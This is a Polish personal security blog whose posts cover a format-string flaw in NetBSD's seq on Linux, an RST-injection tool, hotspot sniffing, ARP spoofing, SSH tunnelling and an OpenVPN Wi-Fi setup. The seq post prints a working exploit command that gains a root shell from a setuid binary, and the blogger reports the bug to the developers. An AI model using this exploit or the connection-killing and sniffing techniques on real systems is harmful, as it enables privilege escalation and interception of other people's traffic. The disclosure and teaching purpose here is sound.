chomzee’s WebLog

Zupełnie przypadkiem zauważyłem, że program seq z projektu NetBSD skompilowany i uruchamiany pod Linuksem wykazuje dziwne właściwości (podatności na atak związany z ciągami formatującymi):

chomzee@aleurwal:~/vulns$ ./seq -f %..%n 1 1
Segmentation fault

Po ustawieniu właściciela na root oraz bitu suid postanowiłem spróbować wykorzystać tę lukę do wykonania dowolnego kodu. Udało się:

chomzee@aleurwal:~/vulns$ ls -l seq
-rwsr-sr-x 1 root root 12349 2010-05-25 16:39 seq
chomzee@aleurwal:~/vulns$ ./seq -f  `printf "\xbc\xef\xff\xb
f"`____`printf "\xbd\xef\xff\xbf"`____`printf "\xbe\xef\xff\
xbf"`____`printf "\xbf\xef\xff\xbf"`xxxx`perl -e 'print "%..
%08x"x145'`%..%0193x%..%08n%..%060x%..%08n%..%0254x%..%08n%.
.%0184x%..%08n `perl -e 'print "0"x993'`1 1
����____����____����____����
xxxx%.0.00000000%.0.3ff00000%.0.bfffefa4%.0.00000000%.0.b7ff
9208%.0.b7ffeff4%.0.bfffeff0%.0.b7fff668%.0.080484ca%.0.b7ff
eff4%.0.00000000%.0.00000000%.0.b7ff8a08%.0.00000002%.0.0000
0066%.0.bfffefc0%.0.00000000%.0.00000000%.0.bff00000%.0.0000
0000%.0.00000066%.0.00000000%.0.00000000%.0.00000000%.0.3ff0
0000%.0.00000000%.0.3ff00000%.0.00000000%.0.bff00000%.0.bfff
ef98%.0.b7fb1b60%.0.bffff15c%.0.08049532%.0.00000000%.0.3004
9499%.0.b7ff2250%.0.bfffefc0%.0.bffff018%.0.b7e70455%.0.0804
9480%.0.080487e0%.0.bffff018%.0.b7e70455%.0.00000002%.0.bfff
f050%.0.bffff05c%.0.b7fe2e08%.0.00000001%.0.00000001%.0.0000
0000%.0.080484ca%.0.b7fb0ff4%.0.08049480%.0.080487e0%.0.bfff
f018%.0.ebdf8081%.0.da083491%.0.00000000%.0.00000000%.0.0000
0000%.0.b7ff72e0%.0.b7e7037d%.0.b7ffeff4%.0.00000005%.0.0804
87e0%.0.00000000%.0.08048801%.0.08048894%.0.00000005%.0.bfff
f044%.0.08049480%.0.08049470%.0.b7ff2250%.0.bffff03c%.0.b7ff
cae5%.0.00000005%.0.bffff153%.0.bffff159%.0.bffff15c%.0.bfff
f5b3%.0.bffff996%.0.00000000%.0.bffff998%.0.bffff9ab%.0.bfff
f9d5%.0.bffff9e5%.0.bffff9f0%.0.bffffa02%.0.bffffa0f%.0.bfff
fe38%.0.bffffe65%.0.bffffe98%.0.bffffec5%.0.bffffedc%.0.bfff
fef4%.0.bfffff05%.0.bfffff1c%.0.bfffff2f%.0.bfffff37%.0.bfff
ff47%.0.bfffffa9%.0.bfffffb6%.0.bfffffc9%.0.bfffffee%.0.0000
0000%.0.00000020%.0.b7fe3414%.0.00000021%.0.b7fe3000%.0.0000
0010%.0.078bf3ff%.0.00000006%.0.00001000%.0.00000011%.0.0000
0064%.0.00000003%.0.08048034%.0.00000004%.0.00000020%.0.0000
0005%.0.00000007%.0.00000007%.0.b7fe4000%.0.00000008%.0.0000
0000%.0.00000009%.0.080487e0%.0.0000000b%.0.000003e8%.0.0000
000c%.0.00000000%.0.0000000d%.0.000003e8%.0.0000000e%.0.0000
0000%.0.00000017%.0.00000001%.0.0000000f%.0.bffff14b%.0.0000
0000%.0.00000000%.0.69000000%.0.00363836%.0.2e000000%.0.7165
732f%.0.0000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000.
0.%f5f5f5f50000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000.0.%.0.%f5f5f5f50000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000.0.%.0.%f5f5f5f5000000000000000
0000000000000000000000000000000000000.0.%.0.%00d266000000000
000000000000000000000000000000000000000000000000000000000000
0000000
bash-3.2# whoami
root
bash-3.2#

Luka przeze mnie odkryta na szczęście nie występuje w NetBSD, gdyż tam inaczej zaimplementowana jest funkcja printf. Zagrożenie występuje tylko w systemach linuksowych, które używają programu seq z projektu NetBSD. Jako, że w Linuksie powszechna jest wersja programu seq z projektu GNU, wątpię, czy istnieje na świecie maszyna, dla której ta luka mogłaby być zagrożeniem.

Jednak mimo wszystko, taka luka nie powinna się pojawić w tak poważnym projekcie — oprogramowanie powinno być przenośne, prawda? Wysłałem już “bug report”, czekam na reakcję ze strony deweloperów NetBSD.

Edycja:

Błąd już został poprawiony — reakcja deweloperów była błyskawiczna. Może dlatego, że niesłusznie zakwalifikowałem błąd do działu “security”. A może dlatego, że cała filozofia ruchu Open Source jest genialna. :)

Od dzisiaj można ten artykuł przeczytać online:

http://chomzee.ethernet.pl/wiw.pdf

Z okazji laboratorio-seminarium z kursu o przyjemnej nazwie “Anatomia PC”, zmuszony byłem wygłosić prezentację. Była to dla mnie oczywiście sama przyjemność, zwłaszcza, że mówiłem o sieciach bezprzewodowych. Z uwagi na charakter kursu, starałem się podejść do tematu jak najbardziej sprzętowo, nie uniknąłem jednak niezwykle ważnej i ciekawej kwestii jaką jest bezpieczeństwo sieci bezprzewodowych.

Slajdy z mojej prezentacji można oczywiście swobodnie ściągnąć z sieci:

http://chomzee.ethernet.pl/studia/anatomia_pc/sieci_bezprzewodowe.pdf

Postanowiłem udostępnić źródła mojego mini-projektu o nazwie “rsac” (RSA Chat). Jak sama nazwa wskazuje, jest to prosty komunikator, szyfrujący wszystkie przesyłane wiadomości szyfrem RSA. Narodziny tego projektu na pewno nie są tak ważnym wydarzeniem jak dzisiejsze uruchomienie LHC, jednak również sprawia mi radość. :)

Pierwszą wersję można pobrać ze strony http://chomzee.ethernet.pl/rsac/. Numer wersji podkreśla wczesną fazę rozwoju projektu, pisałem w pośpiechu, tak więc ilość błędów na pewno jest większa od zera. Na pewno jeszcze nie należy uznawać tego programu za bezpieczny.

Drobne uwagi dla ludzi, którzy zechcieliby testować to oprogramowanie:

• Istnieje wersja dla systemów Windows. Wystarczy rozpakować paczkę zip gdzieś na dysk C: (niestety, z innych dysków ta wersja nie zadziała) i uruchomić klienta skryptem uruchom.bat
• Testowy serwer znajduje się na ethernet.pl (jako hostname należy wpisać ethernet.pl)
• Tabulatorem przełączamy osobę, do której kierujemy wiadomości prywatne
• Użytkownicy cygwin powinni używać wersji uniksowej rsac
• crsac jest uniksowym klientem o interfejsie ncurses
• Program crsac działa niepoprawnie w systemie FreeBSD, postaram się to naprawić jak najszybciej
• Makefile nie posiada celu ‘install’
• Program nie był testowany na innych systemach niż Linux, FreeBSD i Windows

Projekt powstał głównie po to, abym nauczył się korzystać z biblioteki OpenSSL i mógł odświeżyć programistyczny umysł. Nie wiem ile czasu znajdę na kontynuowanie prac, jednak mam nadzieję, że kiedyś pojawi się w pełni stabilna wersja, a może nawet graficzne GUI.

Już od dłuższego czasu planowałem pozbyć się kabli w domu i skonfigurować bezpieczną sieć bezprzewodową. Zazwyczaj do tego celu kupuje się access-pointa z wbudowanym switchem i routerem. Ja jednak chciałem uniknąć kupowania takiego urządzenia, gdyż w mieszkaniu już stoi komputer, który pełni jednocześnie rolę routera, serwera, telewizora i stacji roboczej. Oczywiście wszystko w opraciu o system z jądrem Linuksa. ;)

W moim przypadku wystarczyło dokupić do tego komputera dobrą kartę WiFi na PCI, ustawić ją tak, aby działała jak access-point. W połączeniu z możliwościami systemu Linux, tak zbudowana sieć staje się bardzo elastyczna i można zrobić z nią dużo fajnych rzeczy.

Wybór padł na kartę D-LINK DWL-G520. Okazała się idealnym rozwiązaniem. Oparta na chipsecie Atherosa nie sprawiała żadnych problemów. Instalacja MadWifi pod Gentoo sprowadza się do wydania polecenia:

# emerge wireless-tools madwifi-ng madwifi-ng-tools

Aby ustawić kartę w trybie “master mode” (zwanym też “ap mode”), wystarczy załadować moduł ath_pci poleceniem:

# modprobe ath_pci autocreate=ap

Aby moduł automatycznie ładował się z takimi opcjami, trzeba trochę pogrzebać w /etc.

Teraz trzeba ustawić SSID naszej sieci i statyczne IP. Z pomocą przychodzą nam skrypty wchodzące w skład dystrybucji gentoo. Wystarczy do pliku /etc/conf.d/net dopisać:

mode_ath0="master"
essid_ath0="NASZE SSID"
channel_ath0="1"
config_ath0=( "192.168.1.1/24" )

I konfiguracja sieci gotowa. Trzeba byłoby więcej pracy, gdyby ktoś chciał zaszyfrować sieć algorytmem WPA. Ja jednak zdecydowałem się na ciekawsze rozwiązanie: sieć jako taka w ogóle nie jest szyfrowana, jednak używam OpenVPN, który zapewnia mi bezpieczeństwo na najwyższym poziomie (bezpieczne, asymetryczne szyfrowanie algorytmem RSA). Oczywiście musiałem do tego dobrze skonstruować firewall routera i klientów oraz wprowadzić statyczne ARPy.

Aby nie kusić script-kiddies, wyłączyłem rozgłaszanie SSID (tak tak, wiem, że tego NIE MOŻNA traktować jako zabezpieczenia przed napastnikami, jednak pomimo wszystko nie widzę sensu rozgłaszania SSID przez mój router). Dodatkowo zmniejszyłem siłę sygnału, nie potrzebuję siać zasięgiem na pół Wrocławia. Dla potomnych:

iwpriv ath0 hide_ssid 1
iwconfig ath0 txpower 4

Podsumowując, chciałem pochwalić firmę D-LINK za to, że ich produkt spełnił wszystkie moje wymagania. Jeśli ktoś zastanawia się nad kupnem karty WiFi, która ma działać na Linuksie, należy wybierać wśród kart opartych o chipset Atheros.

Pozdrawiam ja i mój DWL-G520!

W numerze 2/2008 dwumiesięcznika Xploit, poświęconemu szeroko pojętemu bezpieczeństwu komputerowym, pojawił się artykuł napisany przeze mnie.

Artykuł “Wąchaj i wstrzykuj! Niskopoziomowe programowanie sieciowe w Linuksie” opisuje w jaki sposób użyć surowych gniazd SOCK_RAW do wysyłania dowolnych pakietów sieciowych. Opisałem również, jak wykorzystać bibliotekę libpcap do przechwytywania ruchu sieciowego w czasie rzeczywistym. Temat został omówiony na konkretnych (mniej lub bardziej użytecznych) przykładach. Przystępując do lektury warto znać podstawy języka C, budowę protokołów Ethernet, ARP, IP i TCP.

Muszę jednak zdobyć się na pewne słowa krytyki. Listingi z kodem źródłowym zostały umieszczone w bardzo wąskich kolumnach, co czyni kod zupełnie nieczytelnym. Z niedowierzaniem zauważyłem łamanie słów za pomocą myślnika w kodzie źródłowym, otwierające cudzysłowy różniące się od zamykających, czy też literki ‘f’ mające inną szerokość niż inne. Słowem - do kodu języka C użyto zabiegów, które są niedopuszczalne w tym przypadku. A wystarczyło umieścić je w szerszych tabelkach. Dotyczy to wszystkich artykułów w czasopiśmie, jednak mój zawierał zdecydowanie najwięcej kodu ze wszystkich, ponadto zawierał on dużo wcięć, które w wąskich kolumnach wyglądają okropnie. Na szczęście, przykłady zostały umieszczone w internecie i można je prześledzić wygodnie na monitorze własnego komputera. Zmiana kolorów na rysunkach doprowadziła do powstania pewnych rozbieżności z opisami, co również może wprawić czytelnika w zakłopotanie.

Z drugiej strony, bardzo podoba mi się ogólny wygląd czasopisma. Każdy artykuł posiada własną szatę graficzną. Takie podejście może mieć przeciwników, mi jednak taki nowoczesny wygląd zdecydowanie przypadł do gustu. Tak trzymać!

Mam świadomość, że gazeta Xploit dopiero zaczyna podbijać rynek. Numer o którym mowa w tej notce jest dopiero drugim w historii tego czasopisma. Mam nadzieję, że z każdym numerem błędów w składzie tekstu będzie mniej. Zachęcam wszystkich pasjonatów i zainteresowanych bezpieczeństwem komputerowym do kupna gazety z moim artykułem, podczas gdy sam z niecierpliwością czekam na następny numer.

Był spokojny, słoneczny, lutowy dzień, kiedy nagle niczego nie spodziewające się, bezbronne i niewinne połączenie TCP/IP zostało uprowadzone. Zostało bezlitośnie zerwane pakietem z ustawioną flagą RST.

Zakładamy, że podsłuchujemy już czyjeś połączenie TCP/IP (w sieci WiFi, sieci ethernetowej opartej na HUBie, albo wykonaliśmy atak ARP-Spoofing w sieci przełączanej). To nam jednak nie wystarcza. Chcielibyśmy zabić to połączenie. To przecież nic trudnego, wystarczy na podstawie jakiegokolwiek pakietu z tego połączenia z ustawioną flagą ACK odesłać pakiet z flagą RST tak, aby wyglądało, jakby odbiorca pakietu ACK chciał już kończyć połączenie.

Możemy oczywiście użyć zewnętrznych programów takich jak tcpdump+nemesis, ja jednak napisałem program, który wykonuje tę operację sam. Największym wyzwaniem dla mnie było zrozumienie, jak liczone są sumy kontrolne w protokołach IP oraz TCP. Jednak już wszystko doczytałem, przestudiowałem RFC i programik działa jak należy.

Program nazwałem rstinj (RST Injection), dostępny jest do ściągnięcia ze strony z moimi programami sieciowymi ethutils.

Miłego zrywania połączeń!

W poprzedniej notce opisałem niebezpieczeństwo związane z używaniem niezabezpieczonych sieci bezprzewodowych. Napiszę teraz, jak w bardzo prosty sposób można zaszyfrować swoje bytowanie w bezprzewodowej (i nie tylko) sieci.

Zakładam, że:

• korzystamy z publicznej sieci bezprzewodowej,
• używamy jakiegoś uniksowego systemu operacyjnego (np. opartego o Linuksa),
• do przeglądania stron www używamy Firefoksa,
• mamy konto shell na jakimś zaufanym hoście w Internecie.

Jaki mamy plan? Utworzymy szyfrowany tunel z naszym zaufanym hostem poprzez protokół ssh. Tak więc wszystkie dane, które będziemy przesyłać w sieci bezprzewodowej (w której nasłuchuje potencjalny włamywacz) będą zaszyfrowane. Sytuacja, gdy nie używamy tunelu ssh wygląda tak:

Gdy używamy tunelu ssh, sytuacja wygląda tak:

Czarna linia oznacza nieszyfrowane połączenie, podatne na podsłuch. Zielone połączenie oznacza połączenie szyfrowane, którego nie sposób podsłuchać.

Bierzmy się zatem do roboty. W konsoli wpisujemy:

ssh -D 8080 login@nasze.konto.shell.com

Po wykonaniu tego polecenia otwieramy na naszej lokalnej maszynie port TCP/8080 do nasłuchu. Jest to coś w rodzaju szyfrowanego proxy, z którym teraz możemy się połączyć. Okienko terminala w którym jesteśmy zalogowani na shellu minimalizujemy (aby nie przeszkadzało) i ustawiamy naszego Firefoksa: Edit->Preferences, zakładka Advenced->Network, pole Connection, przycisk Settings. Wybieramy “Manual proxy configuration”, w polu “SOCKS Host” wpisujemy localhost oraz port 8080. I to wszystko.

Oto zrzutka ekranu z konfiguracji Firefoksa.

Gdy kończymy pracę, możemy zamknąć połączenie ssh oraz z powrotem ustawić, aby firefox “łączył się z Internetem” bezpośrednio.

A co innymi połączeniami? Praktycznie każde pojedyncze połączenie możemy przetunelować. Na przykład - chcemy odbierać pocztę przez protokół pop3 (port 110) z serwera pop3.serwer.pl oraz wysyłać przez smtp (port 25) przez domenę smtp.serwer.pl.

Otwieramy więc dwa okna terminala i klepiemy kolejno:

ssh -L 10110:pop3.serwer.pl:110 login@nasze.konto.shell.com
ssh -L 10025:smtp.serwer.pl:25 login@nasze.konto.shell.com

Teraz, gdy połączymy się z localhost:10025, połączenie to zostanie przetunelowane do smtp.serwer.pl:25, analogicznie jeśli chodzi o protokół pop3. W ustawieniach naszego klienta poczty należy więc podać serwer pop3: “localhost” oraz port 10110, serwer smtp: “localhost” port 10025. Teraz w sieci WiFi jesteśmy secure :).

UWAGA! Należy się upewnić, że na firewallu mamy odblokowane porty, które otwieramy do nasłuchu. Dobrym pomysłem jest blokowanie wszelkich połączeń na te porty za wyjątkiem naszej lokalnej maszyny (localhost), aby nikt niepowołany korzystał z naszych ślicznych tunelików.

Mam nadzieję, że wystarczająco opisałem temat. Pozdrawiam i życzę miłego tunelowania!

Wiem, że ten post nie jest niczym odkrywczym, jednak pragnę po raz kolejny zaapelować do świadomości użytkowników Internetu.
Korzystanie z HotSpotów niesie ze sobą wiele niebezpieczeństw. Cała komunikacja z Siecią Globalną może zostać przechwycona przez osobę trzecią, która nie musi posiadać nawet wiedzy na temat działania sieci ani skomplikowanych narzędzi. Wystarczy laptop i prosty sniffer. Na dzień dzisiejszy większość haseł (poczta, fora internetowe itp.) podróżuje w postaci niezaszyfrowanej i nawet niezakodowanej.

W oczywisty sposób na podsłuch podatne są protokoły http (fora internetowe, poczta, www), pop3 (najczęściej hasła nie są kodowane/szyfrowane), ftp (cała komunikacja łącznie z hasłami jest niezabezpieczona), rozmowy gadu-gadu i wiele innych.

Kto nie wierzy niech zmierzy. Godzinna sesja “wąchania” w niezabezpieczonej sieci może dać aż 2GB logów, w których roi się od haseł na pocztę, ciasteczek, dzięki którym możemy uzyskać dostęp do forów internetowych (ostatnio bardzo popularny jest portal nasza-klasa.pl :) ).

Jednak nie wszystko można podsłuchać w tak prymitywny sposób. Względnie bezpiecznie możemy się czuć, gdy widzimy kłódkę przy adresie strony internetowej - korzystamy wówczas z protokołu https, który w całości jest szyfrowany. Spać spokojnie mogą więc użytkownicy banków i gmaila. Pocztę należy ściągać przez protokół pop3s lub imap. Transfer plików polecam wykonywać używając protokołu sftp.

Sytuacja o której mówię nie ogranicza się jedynie do HotSpotów. Jadąc samochodem przez Polskę warto zwrócić uwagę, jak wiele domów zaopatrzonych jest w antenkę WiFi. Ile z takich sieci jest profesjonalnie zabezpieczonych? Większość w ogóle nie jest szyfrowana. Nie wiem jak Wy, ale ja nie mógłbym żyć ze świadomością, że wszystko co robię/wysyłam/piszę w Internecie podsłuchać może każdy sąsiad w promieniu kilometra.

Podsumowując, jeżeli zależy Ci na bezpieczeństwie, używaj protokołów szyfrowanych i zachowaj szczególną ostrożność. Należy pamiętać, że paranoidalni podsłuchiwacze mogą stosować też bardziej zaawansowanych technik (np. Man In the Middle) do pozyskania naszych haseł. Ponadto polecam narzędzia do szyfrowania danych, szczególnie GnuPG, który moim zdaniem jest niezastąpiony do szyfrowania poczty. :)

Nie miałem zamiaru nikogo wystraszyć tą notką - jedynie apeluję o rozsądek. :)

Zachęcam do przeczytania mojego nowego artykułu traktującego o atakach typu ARP-Spoofing w sieciach ethernetowych. Jest to pierwsza wersja, na pewno roi się od błędów. Jestem otwarty na wszelkie uwagi.

Artykuł można ściągnąć w formacie pdf lub txt:
http://chomzee.ethernet.pl/ethutils/arpspoofing.pdf
http://chomzee.ethernet.pl/ethutils/arpspoofing.txt